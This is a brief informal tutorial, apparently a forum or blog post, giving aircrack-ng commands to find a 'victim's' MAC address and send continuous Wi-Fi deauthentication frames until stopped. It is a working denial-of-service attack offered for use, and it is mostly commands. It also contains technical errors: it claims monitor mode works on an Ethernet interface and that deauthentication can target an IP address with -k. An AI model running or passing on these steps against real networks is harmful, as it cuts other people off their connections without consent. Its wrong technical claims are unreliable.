STEP 1
Airmon-Ng
open up a terminal and type airmon-ng start wlan0 (or eth0 if your using Ethernet.) (Some times you might have to type airmon-ng check kill)
STEP 2
Airodump-Ng
Next type airodump-ng wlan0 then find your Internet copy its bssid then type airodump-ng --bssid (your bssid) wlan0. It will show your victims mac.
STEP 3
Aireplay-Ng
Now if you know their IP address you don't need to use airodump-ng.
If you know their ip address you can type aireplay-ng --deauth 0 -a (networks bssid) -k (Their ip address)
If your going to use their mac address type this aireplay-ng --deauth 0 -a (networks bssid) -c (Their mac address)
The 0 in Deauth 0 means keep deauth them until you stop it with CTRL C.
Hope you enjoyed this tutorial if you need help just comment whats wrong and I will get back to you as fast as possible.